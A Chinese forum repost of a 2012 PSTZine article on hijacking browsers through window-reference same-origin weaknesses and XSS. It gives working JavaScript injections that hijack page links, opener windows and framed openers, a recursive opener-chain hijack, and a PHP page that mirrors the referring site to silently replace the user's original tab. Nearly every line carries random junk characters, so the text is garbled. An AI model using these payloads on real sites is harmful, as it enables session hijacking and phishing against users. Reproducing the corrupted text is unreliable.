找回密码
 立即注册
查看: 2766|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==' M6 m+ h5 N' d  D: x
  t% }$ i" x* W& U' z  A7 B
                       Issue 0x03, Phile #0x05 of 0x07, _1 E( U5 o; P1 O, q( n
8 X4 u2 [! j0 q. M
. d" i' @9 ]5 }: P5 j5 B/ B
|=---------------------------------------------------------------------------=|
4 V" q* v' S0 G. h$ c4 ?|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|- T- T) A: {. _3 H' c
|=---------------------------------------------------------------------------=|
! A2 B, N) p2 `. X/ l|=---------------------------------------------------------------------------=|* g7 b% j. K4 y! ?/ }7 i7 H
|=------------------------=[      By rayh4c     ]=---------------------------=|
# a, }/ |0 S: A$ {8 e7 L|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|# W+ z  _1 S: \, x0 C  u% @  f. n
|=---------------------------------------------------------------------------=|
# t7 Z7 ]7 |, [& j: V  }0 k+ p: k9 a+ a4 |1 k

. {, m: L& V: F  V/ x" H* A[目录]3 e+ ~- c- x4 h

. m( N  F3 ?1 W" o( u0 r1. 前言
, v  K5 ^2 @4 G) u, s$ p2. 同源策略简叙
; U+ M: t  r( ]3 j% B5 G/ h3. 理解window对象的同源策略
) ]9 q% j( Z; ?7 d) V4. 窗口引用功能中的同源策略漏洞9 s- ~, b8 H/ `# t+ k
  4.1 父窗口引用子窗口的同源策略问题8 Q7 r3 n  d3 |- c& c. a/ v
  4.2 子窗口引用父窗口的同源策略问题( \" m/ N1 k8 M5 b( C
5. 利用窗口引用漏洞劫持浏览器
# a$ Z# i6 `8 L6. 利用XSS漏洞劫持浏览器
& i$ r2 E5 u  [* o* }; k5 D  6.1 正向跨窗口劫持) g8 m/ f" w4 x" N8 S2 C$ Y
  6.2 反向跨窗口劫持
2 g- x5 T  R% z. t# i  6.3 极度危险的跨框架窗口引用劫持
9 h# m: M& Q2 d6 T( U  6.4 极度危险的正反向跨窗口递归劫持
, a6 j' m3 U6 @! F  6.5 完全控制浏览器7 T2 P: |! A3 a7 A% u* N0 {, y
7. 后记* o- s" Z% ^9 D
8. 参考
# d$ E& R7 M( X; d1 {. P' \9 l: M) N7 ~' S3 G* l7 H* C" q5 @
6 [: x6 t' K" B$ q! Z) X
一、前言' X, l; [/ z0 k8 Q
  f# W  L9 d( Y0 @
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
, W' _1 z4 K, h" Y8 l- h友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
1 v( ^0 k  \( J) M% [( n9 T劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被5 p' C; X0 V$ }; J  e, p% f, W3 s
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
% z2 y  S$ r& O4 B' ]' h! m
, y- C1 x& |, i! Q7 T  f
" W5 e. [) i- K9 j! a; _& s$ u二、同源策略简叙, l. |- y* J4 T1 R

1 x; M! N* k4 l    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以1 y! V8 o% N3 @% A
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, S; G3 ?5 W! U, O; [曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木$ M- j4 l' g$ A, G4 _, n4 h
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
0 `! [) X9 h' y- G5 P3 `& W漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ A" A3 W7 Y' H3 M$ ]# z! E2 n% K% R* [8 _, p
1 h3 P, n# _0 s/ W4 F6 E
三、理解window对象的同源策略( E9 F: R+ i0 ^* @3 O% q4 L
  Z4 h* `  X! b+ ]) w
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
3 J9 @2 f7 C3 n' r" y$ ]/ W象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
1 B. ^+ p% p% Z4 }# O+ R
' `0 c5 Q, h7 G- \" m--code-------------------------------------------------------------------------$ X/ R  R. P# O0 f" w0 U9 g8 |
<script language="javascript">' H1 T5 o/ }$ k/ n( J5 B* ]
for(p in window) document.write(p+"<br>");
  _! @& x, g+ I- Q2 K1 Q</script>
; ^9 `) h7 j$ J7 z$ R, Z-------------------------------------------------------------------------------+ I# u" L7 J- U# p' x9 y) V1 Q
7 j9 V( v' U' |* a. f) g4 w6 ]
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
9 V  Q  h, n8 f1 N法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,# b" K7 S- E! A
这些属性和方法就必须遵循同源策略。2 s9 M" ]* l2 M: y5 ^7 J

! H1 E  _. ~& G  t4 Q, e4 O1 x    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那: ]" Y# d! I: `
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须) \$ f8 B# E$ i* `
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
4 P$ ?5 O% O0 F! V$ V8 X, W8 G个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
! K. D1 x# o% j* ^值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location: |9 Y1 P) ?) k6 ?4 a1 L5 I# h
属性并没有被拒绝访问。, ]  }, d& Z9 b2 X

2 S( ?6 |* d- {. O, g, z, `--demo.html--------------------------------------------------------------------
* R4 \+ s0 Q2 j. I<script language="javascript">   
) e# _' I( o8 h6 q6 pfunction allPrpos(obj) {      
$ x2 \6 P, g7 @, s1 h) O0 K      var props = "<table><tr><td>名称</td><td>值</td>";           
6 I! X0 \) Y6 N2 f' }      for(var p in obj){         
4 M3 l5 x. d( @" b8 D            if(typeof(obj[p])=="function"){   4 }( \' J2 j3 p& V
                   obj[p]();   
' C7 K8 W; i* x6 r0 q; d             }else{                     
- z+ f# b2 I' j                  try   
+ a7 N; j5 h) e: F( P                   {   
) b+ L) t5 M7 e& {" H0 k                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   5 X" y4 L$ }3 ^, J; v- N2 w* r
                   }   , V* K6 \( X1 `- x) [0 ]5 V7 l
                  catch (ex)   
& G& c1 S: K/ q5 C# z. K. {                   {   
8 H7 N0 g5 U& V% e- N9 @                   8 b- N% e0 }3 B+ `: d
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
  l8 n% O' v# f! X9 x' F                   }   
- f! O5 B- ^0 t1 z2 A; Y                       8 }& k3 y# L) s, |, k( M' T
             }   
" `) G, Q9 c- n) @       }   * b- o+ t, r/ ^% v' \$ O' U+ o8 ?
   . P/ |7 D! d4 {5 R* S/ M
       document.write(props+"</table>");   * [/ d, S- l9 ?1 ?) N
}   
0 D9 O5 }" t8 M6 s  c% k  J   
" u: O) k, R) d) U8 d9 rfunction createWin() {
( z/ \: s8 j6 B1 f3 V        newWin = window.open ("http://www.google.com");  ; @1 C( h: i2 \& A
        setTimeout(function(){allPrpos(newWin)},2000);
( K. k/ w4 `8 K; S! m# H4 g}
. l" _3 P0 J9 N8 f4 ~: i" l
# t1 x8 C! D- |. |. f</script> % H' B; R0 y" j5 b8 e4 P
% i& J/ e2 W! t9 n+ ^% J
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 V9 |: b% Y# p; Q: I-------------------------------------------------------------------------------6 e/ Z; V% g+ X2 m, E& G

4 U. m; i/ l4 _+ S  t6 R! r
1 q% b( j1 q3 }5 u" f- \7 w- P四、窗口引用功能中的同源策略漏洞9 r4 ^: k% R& y

/ \- g& r" V/ ~4.1 父窗口引用子窗口的同源策略问题
) n, R6 n- p& H/ \- M: e
3 x" C8 e3 N6 E& @7 z  o    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
, i, {0 E$ M8 n& G但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道$ {9 L0 F* Y# p+ ?+ K: B
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进$ _6 J5 R1 B; m' q" B. m' m$ y
行测试,会发现父窗口可以控制非同源子窗口location属性值。
3 T6 \5 X. G& j4 W6 Y/ N( P! K. r1 b6 a$ }% g* T0 f( A
--vul1.html--------------------------------------------------------------------5 ?4 x) H: G( n/ c% ^
<script language="javascript"> $ {; u6 s7 I1 h; C6 T
function createWin() {  
  l4 U* z% F+ g, a7 X# B+ \        newWin = window.open ("http://www.google.com");  
5 D+ e. o, f1 [) K        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); : p9 q/ b7 C4 u, W  K5 A' ?* ^, p
} ! \+ _& Y# U% p
</script>1 X' B7 y7 q1 T. g: G
( ?6 u/ S$ L6 P- D
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
* P' Q# a5 ]5 N-------------------------------------------------------------------------------5 z8 L7 x& Q% A( U3 l6 F1 D6 A* S' U, H
" f1 V# T0 _0 D' o, J% q/ i

, J  ~1 Q2 n% R8 p4.2 子窗口引用父窗口的同源策略问题
+ T- U' Z' ~2 N9 o% g. P6 y7 h( ]% v; L+ B8 E: ^; j# p
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使2 Y- s  b# P1 B0 O4 c
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
" T! a' a& |9 B! M) s可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定! u# t# Z; o: I. c
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
7 c. l! c% P5 c3 Y
2 V( f& g1 Z+ H# J% l: w0 g4 P--code-------------------------------------------------------------------------3 O6 D; Q8 ^) d" n) ]

' s* F1 g$ |$ P" ~& S0 p7 [javascript:window.opener.location = "http://www.80sec.com";void(0);# r- P- Q' s& U$ a* ^
+ A* L4 J! E; o6 g* u) n2 }
-------------------------------------------------------------------------------
- u6 X4 A1 W" g! T. X: o0 O1 d3 |
2 D/ l' F3 A# a( a( L6 J9 V. M- S+ n
五、利用窗口引用漏洞劫持浏览器
/ F1 |' m3 v( q$ I* m* g' Y
7 v4 f( @2 I7 v    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
6 i7 j6 _/ J$ u( D) E窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那/ X$ ?+ a; }$ h/ Q" @. f
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
4 p$ t1 o0 {! e7 [& L0 z' _$ I1 b: B; V
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- d& k5 ?$ m# l2 I1 q5 k6 n生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 ]) O: _* Y" S7 {) z" b者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
) _$ k- L3 r, h- x后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下* H0 T" ~0 {" n% \- V% _' s
会产生什么可怕的后果。
- q% q3 b7 h) {7 R" f1 t9 ^5 n4 l9 P
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
: ?8 I" E, @' ], @  ^9 q们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
$ J8 i8 h  h; ]$ D" Q% I. m这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
( \( _1 s% g5 ~" U3 h; q) `候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
9 U1 x- v9 M# F6 i5 g( T以做更多的事情,所有的一切仅仅是因为点击了一个链接。
" i7 e, y9 h; ]3 c$ ?
( f7 e0 s  W+ \# ?--hjk_ref.php------------------------------------------------------------------
# t7 }9 t& l! Z! j) g<?php5 t' \5 P5 N* X8 s
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
8 o! {- Y; {! n% p$Url_Mirror = $_SERVER["HTTP_REFERER"];6 P, m+ j; ~7 g! |2 _. b6 B
}
( e' t1 r' j  J' W  Xif(isset ($_GET['ref'])) {
7 P6 u$ m# O' Recho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';# f0 q: p1 K( M% U; y( g
}
9 t& t# I; V6 k" e. M3 O7 Y( L?>: i0 Y$ s7 j( k: m1 ]
# ^# `4 s  l+ N: d
<script language="javascript">
& Q- \; I& K, ]5 a( X$ }# zsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         2 G% _) T4 K# w6 a
</script>( R) v  i2 R9 y
-------------------------------------------------------------------------------
3 T. ]! x$ f9 W6 S: \7 o: }+ ]0 ?+ q
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。2 z* K. [7 p: [7 [' J
7 Y0 ]9 l7 B  r5 H3 i+ G
. f- k% U' R% K% n
六、利用XSS漏洞劫持浏览器
% [6 M7 V, D! X1 y' ~) i' Y' i; D
+ v8 W) O, A+ S1 n  h" Y0 a9 x    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为6 Q4 V* v9 l4 [+ @5 w8 i0 }; P( o
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后* j4 k( |. a9 J4 H" y
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
) l# t0 I! Z$ ?讨论跨站师的终极技巧:
2 q* G9 [) t5 l$ c+ U0 t. }4 G4 ]* p+ y" m1 D: D

- `" s: `. {8 n; V6.1 正向跨窗口劫持
5 c' c" p3 b* c+ k. l' i# F5 Z4 M8 W+ B6 p. q0 y
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
6 B5 v# b. X) L2 D1 F  M主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
' K, m4 ]& O7 I4 t# U接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
2 P  V9 v9 X, h# f6 f( n框脚本。 8 K8 @! e# d* L3 R9 ?
" N1 f- b4 M0 O. \; A% m
--hijack_open.js---------------------------------------------------------------
/ \/ b) k0 I4 H0 l" Z0 E/ ^; p1 ~3 N; Q
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
) b3 R3 K( U0 R
/ [/ i, S& B/ @  p-------------------------------------------------------------------------------
: F+ ]  ^: y3 e7 Q
' G1 j4 e/ t* C4 t
- I$ j4 ?7 F) F  h0 i6.2 反向跨窗口劫持' V- W' m: X" E: H2 [
" L0 @: b. z6 T0 b
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代" G2 O* R0 w. l' y9 w
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
+ v# Y* q  q! d) j框脚本。, b3 b2 Z7 E5 `" W7 U
3 [+ R  }# A) h' ]
--hijack_opener.js-------------------------------------------------------------0 ~* o6 u! e# A- m" `

5 b  {/ _* J2 g* P: |! s" Qjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 I2 @7 X  N" T" p& w9 H
/ U, J( Z; `5 n' v
-------------------------------------------------------------------------------
' O+ H& o2 a5 `* z% m& V2 h6 c& Z$ A8 g8 D

* @& ?' e$ A6 L: T, }6.3 极度危险的跨框架窗口引用劫持" e6 T& N. q, ^2 l

: x5 w) t6 `( L) P; x' X) q, |( E    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞+ v4 b! @" m! Z7 y
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 C$ R/ x# G  L适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个2 r+ M' b* F4 U( W- w
非持久型的XSS,如下:
4 A& L0 |, r1 Q! X: j$ B
0 D7 a2 |$ N4 ~0 }<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 I, j5 w3 y3 ^5 ], `0 v& o
8 \! i# v! p* h5 c6 T    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
) }& G/ f; e' Q5 h注入脚本。
% w5 x7 {8 l7 f' C  |7 |8 l. Q3 W  g6 v* C
--hijack_frame_opener.js-------------------------------------------------------- s% m9 r" V' z- R
<script>& e1 s, c4 z4 P+ F: c+ a+ \" C$ X
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
  B# W6 G, r+ U* q0 B/ P' `</script>& m8 [; e2 h7 [
-------------------------------------------------------------------------------& B% f& ^8 P& b* V* B1 D4 i# A

; m2 J2 P; L2 d$ Q$ f' n' W4 _6 k* I- p
6.4 极度危险的正反向跨窗口递归劫持5 Z  P3 Q' d% Q) B# h, V& G

$ P3 L1 L. b  |- d. [- _, `$ k    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window2 v, R& T' @# G2 g
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过8 R7 y; ~' ^# t& m5 Y5 Y4 \- f
异常处理规避之间跨域页面的访问异常,代码如下:& u* I% E5 {  [0 {1 T8 S9 [

# H5 O6 _. P3 e+ L# `--code-------------------------------------------------------------------------
: T* s: @) p& a2 ~- \1 F5 V5 Y# _
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);. s$ N0 W! `1 ~- l3 g
: K1 I/ v' ^( U
-------------------------------------------------------------------------------
: ?& h3 x5 L6 |- e, t: A
& ?3 d, L: f/ }1 b" B    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
/ @- `- e' y& |/ s3 p" {  N以劫持B域之前的A域页面,从而实现“隔空打击”。
( L+ p4 P( Q7 q, d( P5 ~( D' C  o  G( |  ]. ~  V2 A: x
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
+ s$ F. Q; Q1 e- {& P) {/ M& `9 q执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。* B  o: O/ `: U  ^7 }

# j1 I0 L. T% v7 S* W. {& O    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。  S0 }" D* P- O5 w3 p, `
* y. h1 m8 {1 o6 R7 J, V

# f0 `# Z- \# W6.5 完全控制浏览器" t( f) h8 Q2 C9 A- l

/ l& S& c! b3 u3 N& J1 ~    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则/ Y$ h. w2 _, A* G6 V: d8 n
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS; R: t0 g" b. S7 b
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
/ q9 d4 U8 T8 P' K而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
0 X5 _) Y1 x( a$ g. d% x) f1 W2 `列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
& L$ }% o+ Y$ w) ~师的终极目标 - 完全控制浏览器。
2 \( G: n- m% C9 H6 ^, G+ p6 L

& k. ^9 ]" x8 k; z, W0 ~/ [. B七、后记$ q+ @: ?! I8 n! l! H( r. a* X+ C

* p9 n9 b9 A7 K7 s' r    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全  t- r$ z4 Q! e4 C/ {
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
! V# {$ O& s! {1 R% @! F- |过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
1 Y" o- X! v, E% P+ c" T' V8 ~" y! ]6 C( p5 z5 t

; R' B, w6 P& U. X八、参考
9 Y* j" M) E3 I2 B% `# {" A
0 J9 }8 V5 O- Y( J1. http://en.wikipedia.org/wiki/Same_origin_policy
( i+ l( a4 l. y% T5 l2. http://code.google.com/p/browser ... licy_for_DOM_access# g+ A3 D/ w. Y/ T' q
3. http://www.w3.org/TR/Window/
2 X$ s) c( A' h0 k4 S4. http://www.80sec.com/release/browser-hijacking.txt
5 h5 v+ m) v% w5. http://www.80sec.com/all-browser-security-alert.html  B( |' Y- p% q5 n
6. http://www.80sec.com/ms08-058-attacks-google.html
6 L6 l7 `4 J0 l- l; `
) _6 L2 ?' j1 b1 Y9 X-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表